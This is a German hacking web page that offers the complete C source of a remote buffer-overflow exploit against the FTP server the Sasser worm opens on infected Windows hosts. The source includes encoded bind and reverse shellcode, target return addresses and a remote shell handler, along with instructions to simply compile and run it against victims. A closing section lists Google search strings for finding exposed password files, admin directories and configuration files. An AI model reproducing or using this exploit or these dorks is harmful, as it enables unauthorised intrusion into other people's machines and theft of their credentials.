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Hintergrundwissen neue
Exploits
Sasser zurückhacken
Der vom Sasser Wurm auf Port
1023 eröffnete FTP Server kann mit folgendem Script
gehackt werden.
Hier gibts noch den
entsprechenden
Scanner
um Opfer zu finden
Einfach kompilieren und
starten:
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#define NORM "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL "\033[01;33m"
#define RED "\033[01;31m"
#define BANNER GREEN "[%%] " YELL "mandragore's
sploit v1.4 for " RED
"sasser.x" NORM
#define fatal(x) { perror(x); exit(1); }
#define default_port 5554
struct { char *os; long goreg; long gpa; long lla;}
targets[] = {
// { "os", pop pop ret, GetProcAd ptr, LoadLib ptr
},
{ "wXP SP1 many", 0x77BEEB23, 0x77be10CC,
0x77be10D0 }, // msvcrt.dll's
{ "wXP SP1 most others", 0x77C1C0BD, 0x77C110CC,
0x77c110D0 },
{ "w2k SP4 many", 0x7801D081, 0x780320cc,
0x780320d0 },
}, tsz;
unsigned char bsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,
0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,
0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8,
0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE,
0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22,
0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,
0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,
0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,
0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,
0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,
0xC8,0x21,0x0E
};
unsigned char rsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,
0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89,
0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,
0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,
0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,
0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,
0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,
0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E
};
char verbose=0;
void setoff(long GPA, long LLA) {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1d,&gpa,4);
memcpy(bsh+0x2e,&lla,4);
memcpy(rsh+0x1d,&gpa,4);
memcpy(rsh+0x2e,&lla,4);
}
void usage(char *argv0) {
int i;
printf("%s -d <host/ip> [opts]\n\n",argv0);
printf("Options:\n");
printf(" -h undocumented\n");
printf(" -p <port> to connect to [default: %u]\n",default_port);
printf(" -s <'bind'/'rev'> shellcode type [default:
bind]\n");
printf(" -P <port> for the shellcode [default:
5300]\n");
printf(" -H <host/ip> for the reverse shellcode\n");
printf(" -L setup the listener for the reverse shell\n");
printf(" -t <target type> [default 0]; choose below\n\n");
printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
printf(" %d %s\t[0x%.8x]\n", i, targets[i].os,
targets[i].goreg);
exit(1);
}
void shell(int s) {
char buff[4096];
int retval;
fd_set fds;
printf("[+] connected!\n\n");
for (;;) {
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);
if (select(s+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select()");
if (FD_ISSET(0,&fds)) {
if ((retval = read(1,buff,4096)) < 1)
fatal("[-] shell.recv(stdin)");
send(s,buff,retval,0);
}
if (FD_ISSET(s,&fds)) {
if ((retval = recv(s,buff,4096,0)) < 1)
fatal("[-] shell.recv(socket)");
write(1,buff,retval);
}
}
}
void callback(short port) {
struct sockaddr_in sin;
int s,slen=16;
sin.sin_family = 2;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);
s=socket(2,1,6);
if ( bind(s,(struct sockaddr *)&sin, 16) ) {
kill(getppid(),SIGKILL);
fatal("[-] shell.bind");
}
listen(s,1);
s=accept(s,(struct sockaddr *)&sin,&slen);
shell(s);
printf("crap\n");
}
int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=5300; char bindopt=1;
int i,s,pid=0,rip;
char *buff;
int type=0;
char *jmp[]={"\xeb\x06","\xe9\x13\xfc\xff\xff"};
printf(BANNER "\n");
if (argc==1)
usage(argv[0]);
for (i=1;i<argc;i+=2) {
if (strlen(argv[i]) != 2)
usage(argv[0]);
switch(argv[i][1]) {
case 't':
type=atoi(argv[i+1]);
break;
case 'd':
host=argv[i+1];
break;
case 'p':
port=atoi(argv[i+1])?:default_port;
break;
case 's':
if (strstr(argv[i+1],"rev"))
bindopt=0;
break;
case 'H':
Host=argv[i+1];
break;
case 'P':
Port=atoi(argv[i+1])?:5300;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x57,&Port,2);
memcpy(rsh+0x5a,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
case 'L':
pid++; i--;
break;
case 'v':
verbose++; i--;
break;
case 'h':
usage(argv[0]);
default:
usage(argv[0]);
}
}
if (verbose)
printf("verbose!\n");
if ((he=gethostbyname(host))==NULL)
fatal("[-] gethostbyname()");
sin.sin_family = 2;
sin.sin_addr = *((struct in_addr
*)he->h_addr_list[0]);
sin.sin_port = htons(port);
printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct
in_addr
*)he->h_addr_list[0])),port);
if (bindopt)
printf("[.] will try to put a bindshell on port %d.\n",Port);
else {
if ((he=gethostbyname(Host))==NULL)
fatal("[-] gethostbyname() for -H");
rip=*((long *)he->h_addr_list[0]);
rip=rip^0xdededede;
memcpy(rsh+0x53,&rip,4);
if (pid) {
printf("[.] setting up a listener on port %d.\n",Port);
pid=fork();
switch (pid) { case 0: callback(Port); }
} else
printf("[.] you should have a listener on
%s:%d.\n",inet_ntoa(*((struct in_addr
*)he->h_addr_list[0])),Port);
}
printf("[.] using type '%s'\n",targets[type].os);
// -------------------- core
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0) {
if (pid) kill(pid,SIGKILL);
fatal("[-] connect()");
}
printf("[+] connected, sending exploit\n");
buff=(char *)malloc(4096);
bzero(buff,4096);
sprintf(buff,"USER x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
sprintf(buff,"PASS x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
memset(buff+0000,0x90,2000);
strncpy(buff,"PORT ",5);
strcat(buff,"\x0a");
memcpy(buff+272,jmp[0],2);
memcpy(buff+276,&targets[type].goreg,4);
memcpy(buff+280,jmp[1],5);
setoff(targets[type].gpa, targets[type].lla);
if (bindopt)
memcpy(buff+300,&bsh,strlen(bsh));
else
memcpy(buff+300,&rsh,strlen(rsh));
send(s,buff,strlen(buff),0);
free(buff);
close(s);
// -------------------- end of core
if (bindopt) {
sin.sin_port = htons(Port);
sleep(1);
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] exploit most likely failed");
shell(s);
}
if (pid) wait(&pid);
exit(0);
}
GOOGLE macht hacken möglich
Hier einige interessante Suchbegriffe:
"index of /admin"
"index of /password"
"index of /mail"
"index of /" +passwd
"index of /" +password.txt
"index of /" +.htaccess
index of ftp +.mdb allinurl:/cgi-bin/ +mailto
administrators.pwd.index
authors.pwd.index
service.pwd.index
filetype:config web
gobal.asax index
allintitle: "index of/admin"
allintitle: "index of/root"
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
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